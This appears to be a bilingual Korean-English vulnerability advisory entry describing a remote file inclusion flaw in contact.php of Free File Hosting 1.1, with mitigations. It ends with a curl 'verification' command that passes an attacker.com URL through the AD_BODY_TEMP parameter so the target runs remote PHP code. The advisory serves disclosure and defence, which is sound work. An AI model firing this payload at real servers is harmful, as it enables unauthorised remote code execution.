🇰🇷 한글 설명
Free File Hosting 1.1 이전 버전의 contact.php에서 PHP 원격 파일 포함(RFI) 취약점이 발견되었습니다. AD_BODY_TEMP 매개변수가 입력 검증 없이 파일 포함 함수에 전달되어 공격자가 원격 서버의 악성 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
공격자가 특정 입력 칸에 악성 웹 주소를 입력하면, 서버가 그 주소의 코드를 자동으로 실행합니다. 이를 통해 서버의 완전한 제어권을 빼앗길 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in contact.php in Free File Hosting 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AD_BODY_TEMP parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information. NOTE: this issue was later reported for the "File Upload System" which is a component of Free File Hosting.
📍 영향받는 시스템
Free File Hosting 1.1 이전 모든 버전의 contact.php
⚔️ 공격 벡터
AD_BODY_TEMP 파라미터를 통한 원격 PHP 파일 포함 및 실행
🛡️ 대응 방법
1) 최신 버전으로 업그레이드 2) contact.php 파일 삭제 또는 비활성화 3) 입력값에 대한 화이트리스트 검증 구현
🔧 검증 코드
HTTP 상태 코드가 200이거나 원격 코드 실행 응답이 반환되면 취약점이 존재합니다. 권한 있는 보안 테스트 범위 내에서만 수행하세요.
curl -s 'http://target/contact.php?AD_BODY_TEMP=http://attacker.com/test.php' -w '%{http_code}' | tail -1